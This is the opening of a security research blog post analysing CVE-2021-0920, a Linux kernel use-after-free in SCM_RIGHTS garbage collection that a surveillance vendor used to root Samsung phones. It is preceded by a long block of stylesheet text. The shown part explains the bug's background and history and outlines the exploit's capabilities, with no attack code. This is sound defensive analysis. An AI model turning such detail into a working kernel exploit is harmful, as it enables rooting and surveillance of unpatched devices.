"}.lst-kix_p4ttii5g8cnl-2>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-2,lower-roman) ". "}.lst-kix_3a2g7o19wgb3-8>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-8}.lst-kix_5oipgjcxugcr-6>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-6}.lst-kix_p4ttii5g8cnl-4>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-4,lower-latin) ". "}.lst-kix_mfudkcwv2w89-4>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-4}.lst-kix_51hgl6mwb3et-0>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-0}.lst-kix_hk8k8itxmlfp-2>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-2}.lst-kix_3a2g7o19wgb3-1>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-1}.lst-kix_58ja23nrczhl-0>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-0,decimal) ". "}ul.lst-kix_g3pd9wzbzpzz-0{list-style-type:none}ol.lst-kix_iptxq54yrrnf-2.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-2 0}ol.lst-kix_mfudkcwv2w89-8.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-8 0}ul.lst-kix_g3pd9wzbzpzz-4{list-style-type:none}ul.lst-kix_g3pd9wzbzpzz-3{list-style-type:none}ul.lst-kix_g3pd9wzbzpzz-2{list-style-type:none}ul.lst-kix_g3pd9wzbzpzz-1{list-style-type:none}.lst-kix_8mkn8rg9im4a-0>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-0}.lst-kix_p4ttii5g8cnl-7>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-7,lower-latin) ". "}.lst-kix_58ja23nrczhl-3>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-3,decimal) ". "}.lst-kix_mfudkcwv2w89-7>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-7}.lst-kix_9prd8pa3o8y7-4>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-4}ol.lst-kix_mfudkcwv2w89-1.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-1 0}.lst-kix_58ja23nrczhl-1>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-1,lower-latin) ". "}.lst-kix_51hgl6mwb3et-3>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-3}.lst-kix_g3pd9wzbzpzz-2>li:before{content:"- "}.lst-kix_g3pd9wzbzpzz-0>li:before{content:"- "}.lst-kix_g3pd9wzbzpzz-8>li:before{content:"- "}.lst-kix_dqkfvt9lb2wy-4>li:before{content:"- "}.lst-kix_j5vmamheymgq-4>li{counter-increment:lst-ctn-kix_j5vmamheymgq-4}ul.lst-kix_g3pd9wzbzpzz-8{list-style-type:none}.lst-kix_7y90gfloiotx-5>li{counter-increment:lst-ctn-kix_7y90gfloiotx-5}ul.lst-kix_g3pd9wzbzpzz-7{list-style-type:none}ul.lst-kix_g3pd9wzbzpzz-6{list-style-type:none}ul.lst-kix_g3pd9wzbzpzz-5{list-style-type:none}.lst-kix_dqkfvt9lb2wy-2>li:before{content:"- "}.lst-kix_yn2ql2u2egdg-7>li:before{content:"- "}ol.lst-kix_mfudkcwv2w89-3.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-3 0}.lst-kix_mfudkcwv2w89-5>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-5,lower-roman) ". "}.lst-kix_k47gmg94hbw2-7>li:before{content:"- "}.lst-kix_mfudkcwv2w89-3>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-3,decimal) ". "}.lst-kix_k47gmg94hbw2-1>li:before{content:"- "}.lst-kix_3a2g7o19wgb3-5>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-5}.lst-kix_yn2ql2u2egdg-5>li:before{content:"- "}ol.lst-kix_mfudkcwv2w89-6.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-6 0}.lst-kix_5oipgjcxugcr-7>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-7,lower-latin) ". "}.lst-kix_9gryrzygx46m-5>li:before{content:"- "}ol.lst-kix_9prd8pa3o8y7-8.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-8 0}.lst-kix_3a2g7o19wgb3-4>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-4,lower-latin) ". "}.lst-kix_5oipgjcxugcr-1>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-1,lower-latin) ". "}.lst-kix_3a2g7o19wgb3-6>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-6,decimal) ". "}.lst-kix_yzib59bcdnhj-3>li:before{content:"- "}.lst-kix_yzib59bcdnhj-1>li:before{content:"- "}.lst-kix_9gryrzygx46m-3>li:before{content:"- "}ul.lst-kix_whw4pjgxp3w1-7{list-style-type:none}ul.lst-kix_whw4pjgxp3w1-8{list-style-type:none}.lst-kix_h1p96gz9lzq4-1>li:before{content:"- "}ul.lst-kix_whw4pjgxp3w1-3{list-style-type:none}ul.lst-kix_whw4pjgxp3w1-4{list-style-type:none}ul.lst-kix_whw4pjgxp3w1-5{list-style-type:none}.lst-kix_u3opzkdcnklc-2>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-2}ul.lst-kix_whw4pjgxp3w1-6{list-style-type:none}ol.lst-kix_j5vmamheymgq-0.start{counter-reset:lst-ctn-kix_j5vmamheymgq-0 0}.lst-kix_9prd8pa3o8y7-7>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-7,lower-latin) ". "}ul.lst-kix_whw4pjgxp3w1-0{list-style-type:none}ul.lst-kix_whw4pjgxp3w1-1{list-style-type:none}.lst-kix_h1p96gz9lzq4-3>li:before{content:"- "}ul.lst-kix_whw4pjgxp3w1-2{list-style-type:none}.lst-kix_9prd8pa3o8y7-1>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-1,lower-latin) ". "}ol.lst-kix_5yi4tofw6s0z-8.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-8 0}.lst-kix_zcvcgbx5ju56-5>li:before{content:"- "}.lst-kix_zcvcgbx5ju56-3>li:before{content:"- "}ol.lst-kix_5oipgjcxugcr-7.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-7 0}ul.lst-kix_1m9wqzg4mvqt-0{list-style-type:none}ol.lst-kix_5yi4tofw6s0z-0.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-0 0}ol.lst-kix_mfudkcwv2w89-0{list-style-type:none}ol.lst-kix_mfudkcwv2w89-1{list-style-type:none}ul.lst-kix_1m9wqzg4mvqt-4{list-style-type:none}ul.lst-kix_1m9wqzg4mvqt-3{list-style-type:none}ul.lst-kix_1m9wqzg4mvqt-2{list-style-type:none}.lst-kix_5oipgjcxugcr-3>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-3}ul.lst-kix_1m9wqzg4mvqt-1{list-style-type:none}.lst-kix_5yi4tofw6s0z-2>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-2}.lst-kix_j5vmamheymgq-0>li{counter-increment:lst-ctn-kix_j5vmamheymgq-0}.lst-kix_f96hgc2s4b68-2>li:before{content:"- "}.lst-kix_p4ttii5g8cnl-3>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-3}.lst-kix_f96hgc2s4b68-7>li:before{content:"- "}ol.lst-kix_5oipgjcxugcr-5.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-5 0}.lst-kix_7y90gfloiotx-2>li{counter-increment:lst-ctn-kix_7y90gfloiotx-2}.lst-kix_5yi4tofw6s0z-7>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-7,lower-latin) ". "}.lst-kix_u3opzkdcnklc-5>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-5,lower-roman) ". "}ol.lst-kix_5yi4tofw6s0z-6.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-6 0}.lst-kix_u3opzkdcnklc-2>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-2,lower-roman) ". "}.lst-kix_5yi4tofw6s0z-4>li:before{content:"" counter(lst-ctn-kix_5yi4tofw6s0z-4,lower-latin) ". "}.lst-kix_51hgl6mwb3et-6>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-6}ol.lst-kix_5yi4tofw6s0z-5.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-5 0}.lst-kix_5oipgjcxugcr-7>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-7}ul.lst-kix_dqkfvt9lb2wy-2{list-style-type:none}ul.lst-kix_dqkfvt9lb2wy-3{list-style-type:none}ul.lst-kix_dqkfvt9lb2wy-4{list-style-type:none}ul.lst-kix_dqkfvt9lb2wy-5{list-style-type:none}ol.lst-kix_iptxq54yrrnf-2{list-style-type:none}ol.lst-kix_iptxq54yrrnf-1{list-style-type:none}ol.lst-kix_iptxq54yrrnf-0{list-style-type:none}ul.lst-kix_dqkfvt9lb2wy-0{list-style-type:none}ul.lst-kix_dqkfvt9lb2wy-1{list-style-type:none}ol.lst-kix_iptxq54yrrnf-6{list-style-type:none}ol.lst-kix_iptxq54yrrnf-5{list-style-type:none}ol.lst-kix_iptxq54yrrnf-4{list-style-type:none}ol.lst-kix_iptxq54yrrnf-3{list-style-type:none}ol.lst-kix_iptxq54yrrnf-8{list-style-type:none}ol.lst-kix_iptxq54yrrnf-7{list-style-type:none}.lst-kix_t1ae57uxlfl0-5>li:before{content:"- "}ul.lst-kix_1m9wqzg4mvqt-8{list-style-type:none}ul.lst-kix_1m9wqzg4mvqt-7{list-style-type:none}ul.lst-kix_1m9wqzg4mvqt-6{list-style-type:none}ul.lst-kix_1m9wqzg4mvqt-5{list-style-type:none}.lst-kix_9prd8pa3o8y7-7>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-7}.lst-kix_8mkn8rg9im4a-3>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-3}ol.lst-kix_5oipgjcxugcr-4.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-4 0}.lst-kix_t1ae57uxlfl0-2>li:before{content:"- "}ul.lst-kix_dqkfvt9lb2wy-6{list-style-type:none}ul.lst-kix_dqkfvt9lb2wy-7{list-style-type:none}ul.lst-kix_dqkfvt9lb2wy-8{list-style-type:none}.lst-kix_g3pd9wzbzpzz-5>li:before{content:"- "}.lst-kix_aj3gpabmyk88-7>li:before{content:"- "}ol.lst-kix_5oipgjcxugcr-4{list-style-type:none}ol.lst-kix_5oipgjcxugcr-3{list-style-type:none}.lst-kix_58ja23nrczhl-6>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-6,decimal) ". "}ol.lst-kix_5oipgjcxugcr-2{list-style-type:none}ol.lst-kix_5oipgjcxugcr-3.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-3 0}ul.lst-kix_zcvcgbx5ju56-7{list-style-type:none}ol.lst-kix_5oipgjcxugcr-1{list-style-type:none}.lst-kix_yjo4cwnqbjp0-7>li:before{content:"- "}ul.lst-kix_zcvcgbx5ju56-8{list-style-type:none}ol.lst-kix_5oipgjcxugcr-0{list-style-type:none}ol.lst-kix_5oipgjcxugcr-8{list-style-type:none}ol.lst-kix_5oipgjcxugcr-7{list-style-type:none}ol.lst-kix_5oipgjcxugcr-6{list-style-type:none}ol.lst-kix_5oipgjcxugcr-5{list-style-type:none}.lst-kix_whw4pjgxp3w1-7>li:before{content:"- "}.lst-kix_58ja23nrczhl-7>li{counter-increment:lst-ctn-kix_58ja23nrczhl-7}.lst-kix_p4ttii5g8cnl-6>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-6}.lst-kix_mfudkcwv2w89-8>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-8,lower-roman) ". "}.lst-kix_yn2ql2u2egdg-2>li:before{content:"- "}.lst-kix_mfudkcwv2w89-0>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-0,decimal) ". "}.lst-kix_k47gmg94hbw2-4>li:before{content:"- "}.lst-kix_dqkfvt9lb2wy-7>li:before{content:"- "}ol.lst-kix_5oipgjcxugcr-1.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-1 0}ul.lst-kix_aj3gpabmyk88-6{list-style-type:none}.lst-kix_5oipgjcxugcr-4>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-4,lower-latin) ". "}ul.lst-kix_aj3gpabmyk88-7{list-style-type:none}ol.lst-kix_5yi4tofw6s0z-2.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-2 0}ul.lst-kix_aj3gpabmyk88-8{list-style-type:none}.lst-kix_9gryrzygx46m-0>li:before{content:"- "}.lst-kix_9gryrzygx46m-8>li:before{content:"- "}.lst-kix_j5vmamheymgq-7>li{counter-increment:lst-ctn-kix_j5vmamheymgq-7}ul.lst-kix_aj3gpabmyk88-2{list-style-type:none}ul.lst-kix_aj3gpabmyk88-3{list-style-type:none}ul.lst-kix_aj3gpabmyk88-4{list-style-type:none}.lst-kix_iptxq54yrrnf-6>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-6,decimal) ". "}ul.lst-kix_aj3gpabmyk88-5{list-style-type:none}.lst-kix_3a2g7o19wgb3-1>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-1,lower-latin) ". "}ul.lst-kix_aj3gpabmyk88-0{list-style-type:none}ul.lst-kix_aj3gpabmyk88-1{list-style-type:none}.lst-kix_u3opzkdcnklc-5>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-5}.lst-kix_6l3lpr6ytz51-5>li:before{content:"- "}ul.lst-kix_f96hgc2s4b68-0{list-style-type:none}.lst-kix_9prd8pa3o8y7-4>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-4,lower-latin) ". "}ol.lst-kix_5oipgjcxugcr-0.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-0 0}ul.lst-kix_f96hgc2s4b68-2{list-style-type:none}ul.lst-kix_f96hgc2s4b68-1{list-style-type:none}ul.lst-kix_f96hgc2s4b68-4{list-style-type:none}ul.lst-kix_f96hgc2s4b68-3{list-style-type:none}ul.lst-kix_f96hgc2s4b68-6{list-style-type:none}ul.lst-kix_f96hgc2s4b68-5{list-style-type:none}ul.lst-kix_f96hgc2s4b68-8{list-style-type:none}ul.lst-kix_f96hgc2s4b68-7{list-style-type:none}.lst-kix_1m9wqzg4mvqt-5>li:before{content:"- "}.lst-kix_7y90gfloiotx-6>li:before{content:"" counter(lst-ctn-kix_7y90gfloiotx-6,decimal) ". "}.lst-kix_8mkn8rg9im4a-1>li:before{content:"" counter(lst-ctn-kix_8mkn8rg9im4a-1,lower-latin) ". "}.lst-kix_zcvcgbx5ju56-0>li:before{content:"- "}.lst-kix_zcvcgbx5ju56-8>li:before{content:"- "}.lst-kix_j5vmamheymgq-2>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-2,lower-roman) ". "}ol.lst-kix_mfudkcwv2w89-8{list-style-type:none}ol.lst-kix_mfudkcwv2w89-6{list-style-type:none}ol.lst-kix_mfudkcwv2w89-7{list-style-type:none}ol.lst-kix_9prd8pa3o8y7-5{list-style-type:none}ol.lst-kix_mfudkcwv2w89-4{list-style-type:none}ol.lst-kix_9prd8pa3o8y7-6{list-style-type:none}ol.lst-kix_mfudkcwv2w89-5{list-style-type:none}ol.lst-kix_9prd8pa3o8y7-7{list-style-type:none}ol.lst-kix_mfudkcwv2w89-2{list-style-type:none}ol.lst-kix_9prd8pa3o8y7-8{list-style-type:none}ol.lst-kix_mfudkcwv2w89-3{list-style-type:none}.lst-kix_yzib59bcdnhj-6>li:before{content:"- "}ol.lst-kix_9prd8pa3o8y7-1{list-style-type:none}ol.lst-kix_9prd8pa3o8y7-2{list-style-type:none}ol.lst-kix_9prd8pa3o8y7-3{list-style-type:none}ol.lst-kix_9prd8pa3o8y7-4{list-style-type:none}.lst-kix_h1p96gz9lzq4-6>li:before{content:"- "}ol.lst-kix_5yi4tofw6s0z-1.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-1 0}ol.lst-kix_9prd8pa3o8y7-0{list-style-type:none}ol{margin:0;padding:0}table td,table th{padding:0}.ykcrMYlEiJ-c18{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:540pt;border-top-color:#e0e0e0;border-bottom-style:solid}.ykcrMYlEiJ-c4{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:180pt;border-top-color:#000000;border-bottom-style:solid}.ykcrMYlEiJ-c24{padding-top:16pt;border-top-width:0pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;border-top-style:solid;background-color:#ffffff;border-bottom-width:0pt;border-bottom-style:solid;text-align:left}.ykcrMYlEiJ-c1{color:#1976d2;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:14pt;font-family:"Arial";font-style:normal}.ykcrMYlEiJ-c2{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.ykcrMYlEiJ-c5{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.ykcrMYlEiJ-c30{padding-top:10pt;padding-bottom:10pt;line-height:1.0;page-break-after:avoid;text-align:left}.ykcrMYlEiJ-c6{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left;height:11pt}.ykcrMYlEiJ-c31{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:center}.ykcrMYlEiJ-c36{color:#1976d2;font-weight:700;font-size:15pt;font-style:normal}.ykcrMYlEiJ-c33{border-spacing:0;border-collapse:collapse;margin-right:auto}.ykcrMYlEiJ-c35{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:400}.ykcrMYlEiJ-c14{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0;font-weight:400}.ykcrMYlEiJ-c0{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.ykcrMYlEiJ-c23{font-size:10pt;font-family:Consolas,"Courier New";color:#455a64;font-weight:400}.ykcrMYlEiJ-c12{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.ykcrMYlEiJ-c10{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.ykcrMYlEiJ-c22{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.ykcrMYlEiJ-c9{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.ykcrMYlEiJ-c43{color:#1976d2;font-size:12pt;font-family:"Raleway"}.ykcrMYlEiJ-c3{font-family:Consolas,"Courier New";color:#0d904f;font-weight:400}.ykcrMYlEiJ-c8{font-family:"Times New Roman";font-style:italic;font-weight:400}.ykcrMYlEiJ-c50{text-decoration:none;vertical-align:baseline;font-family:"Times New Roman"}.ykcrMYlEiJ-c51{color:#424242;font-size:15pt;font-family:"Roboto"}.ykcrMYlEiJ-c11{vertical-align:sub;font-family:"Times New Roman";font-weight:400}.ykcrMYlEiJ-c34{text-decoration:none;vertical-align:baseline;font-family:"Arial"}.ykcrMYlEiJ-c13{text-decoration:none;vertical-align:baseline;font-style:normal}.ykcrMYlEiJ-c52{color:#666666;font-size:15pt}.ykcrMYlEiJ-c16{border:1px solid black;margin:5px}.ykcrMYlEiJ-c47{font-size:15pt;color:#1976d2}.ykcrMYlEiJ-c27{padding:0;margin:0}.ykcrMYlEiJ-c19{color:#000000;font-size:11pt}.ykcrMYlEiJ-c41{color:#1976d2;font-size:14pt}.ykcrMYlEiJ-c21{margin-left:72pt;padding-left:0pt}.ykcrMYlEiJ-c45{max-width:540pt;padding:36pt 36pt 36pt 36pt}.ykcrMYlEiJ-c32{font-weight:700;font-style:italic}.ykcrMYlEiJ-c20{orphans:2;widows:2}.ykcrMYlEiJ-c37{text-decoration:none;font-style:normal}.ykcrMYlEiJ-c15{font-weight:400;font-family:"Times New Roman"}.ykcrMYlEiJ-c44{font-weight:400;font-family:"Cambria Math"}.ykcrMYlEiJ-c25{margin-left:36pt;padding-left:0pt}.ykcrMYlEiJ-c26{color:inherit;text-decoration:inherit}.ykcrMYlEiJ-c49{font-weight:400}.ykcrMYlEiJ-c7{background-color:#ffff00}.ykcrMYlEiJ-c29{height:11pt}.ykcrMYlEiJ-c28{background-color:#ffffff}.ykcrMYlEiJ-c40{vertical-align:sub}.ykcrMYlEiJ-c42{font-style:normal}.ykcrMYlEiJ-c38{font-style:italic}.ykcrMYlEiJ-c46{height:23.9pt}.ykcrMYlEiJ-c48{margin-left:36pt}.ykcrMYlEiJ-c39{font-weight:700}.ykcrMYlEiJ-c17{height:0pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:10pt;color:#1976d2;font-weight:700;font-size:15pt;padding-bottom:10pt;font-family:"Arial";line-height:1.0;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:10pt;color:#1976d2;font-size:14pt;padding-bottom:10pt;font-family:"Arial";line-height:1.0;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c28 c45 doc-content">
<p class="c20 c24 subtitle" id="h.y3ub1og6t2w0"><span class="c34 c49 c42 c52">A deep dive into an in-the-wild Android exploit</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Guest Post by Xingyu Jin, Android Security Research<br><br></span><span>This is part one of a two-part guest blog post, where first we'll look at the <span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-0920.html">root cause</a></span> of the CVE-2021-0920 vulnerability. In the second post, we'll dive </span><span>into the in</span><span>-</span><span>the</span><span>-wild 0-day exploitation of the vulnerability and post-compromise modules.</span></p><h1 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.ki897ei81q67"><span>Overview of in-the-wild CVE-2021-0920 exploits</span></h1>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>A surveillance vendor </span><span>named Wintego</span><span> has developed an exploit for Linux socket syscall 0-day, CVE-2021-0920, and used it in the wild since </span><span>at least November 2020 based on the earliest captured sample</span><span>, until the issue was fixed in November 2021. Combined with Chrome and Samsung browser </span><span>exploits</span><span>, the vendor was able to remotely root Samsung devices. The fix was released with the </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://source.android.com/security/bulletin/2021-11-01">November 2021 Android Security Bulletin</a></span><span class="ykcrMYlEiJ-c2">, and applied to Samsung devices in Samsung's December 2021 security update.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Google's Threat Analysis Group (TAG) discovered Samsung browser exploit chains being used in the wild. TAG then performed root cause analysis and discovered that this vulnerability, CVE-2021-0920, was being used to escape the sandbox and elevate privileges. </span><span>CVE-2021-0920 was reported to Linux/Android anonymously. The Google Android Security Team performed</span><span> the full deep-dive analysis of the exploit.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>This issue was initially discovered in 2016 by a RedHat kernel developer and disclosed in a public email thread, but the Linux kernel community </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://patchwork.ozlabs.org/project/netdev/patch/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/">did not patch</a></span><span class="ykcrMYlEiJ-c2"> the issue until it was re-reported in 2021.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Various Samsung devices were targeted, including the Samsung S10 and S20. By abusing an ephemeral race condition in Linux kernel garbage collection, the exploit code was able to obtain a use-after-free (UAF) in a kernel </span><span class="ykcrMYlEiJ-c3">sk_buff</span><span> object. The in-the-wild sample could effectively circumvent </span><span class="ykcrMYlEiJ-c3">CONFIG_ARM64_UAO</span><span>, achieve arbitrary read / write primitives and bypass Samsung RKP to elevate to root.</span><span> Other Android devices</span><span> </span><span class="ykcrMYlEiJ-c2">were also vulnerable, but we did not find any exploit samples against them.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">Text extracted from captured samples dubbed the vulnerability “quantum Linux kernel garbage collection”, which appears to be a fitting title for this blogpost.</span></p><h1 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.q8pevpc2sw6u"><span class="ykcrMYlEiJ-c36 ykcrMYlEiJ-c34">Introduction</span></h1>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>CVE-2021-0920 is a use-after-free (UAF) due to a race condition in the garbage collection system for </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span>. </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span> is a control message that allows unix-domain sockets to transmit an open file descriptor from one process to another. In other words, the sender transmits a file descriptor and the receiver then obtains a file descriptor from the sender. This passing of file descriptors adds complexity to reference-counting file structs. To account for this, the Linux kernel community designed a special garbage collection system. CVE-2021-0920 is a vulnerability within this garbage collection system. By winning a race condition during the garbage collection process, an adversary can exploit the UAF on the socket buffer, </span><span class="ykcrMYlEiJ-c3">sk_buff</span><span> object. In the following sections, we’ll explain the </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span> garbage collection system and the details of the vulnerability. The analysis is based on the Linux 4.14 kernel.</span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.qjne51ghywhs"><span>What is SCM_RIGHTS</span><span class="ykcrMYlEiJ-c1">?</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Linux developers can share file descriptors (fd) from one process to another using the </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://man7.org/linux/man-pages/man7/unix.7.html">SCM_RIGHTS datagram with the sendmsg syscall</a></span><span>. When a process passes a file descriptor to another process, </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span> will add a reference to the underlying </span><span class="ykcrMYlEiJ-c3">file</span><span> struct. This means that the process that is sending the file descriptors can immediately close the file descriptor on their end, even if the receiving process has not yet accepted and taken ownership of the file descriptors. When the file descriptors are in the “queued” state (meaning the sender has passed the fd and then closed it, but the receiver has not yet accepted the fd and taken ownership), specialized garbage collection is needed. To track this “queued” state, this </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://lwn.net/Articles/779472/">LWN article</a></span><span> does a great job explaining </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span class="ykcrMYlEiJ-c2"> reference counting, and it's recommended reading before continuing on with this blogpost.</span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.4irl9u2c0bda"><span class="ykcrMYlEiJ-c1">Sending</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>As stated previously, a unix domain socket uses the syscall </span><span class="ykcrMYlEiJ-c3">sendmsg</span><span> to send a file descriptor to another socket. To explain the reference counting that occurs during </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span>, </span><span>we’ll start from the sender’s point of view. We start with the kernel</span><span> function </span><span class="ykcrMYlEiJ-c3">unix_stream_sendmsg</span><span>, which implements the </span><span class="ykcrMYlEiJ-c3">sendmsg</span><span> syscall. </span><span>To implement the </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span> functionality, the kernel uses the structure </span><span class="ykcrMYlEiJ-c3">scm_fp_list</span><span> for managing all the transmitted </span><span class="ykcrMYlEiJ-c3">file</span><span> structures. </span><span class="ykcrMYlEiJ-c3">scm_fp_list</span><span> stores the list of </span><span class="ykcrMYlEiJ-c3">file</span><span class="ykcrMYlEiJ-c2"> pointers to be passed. </span></p>
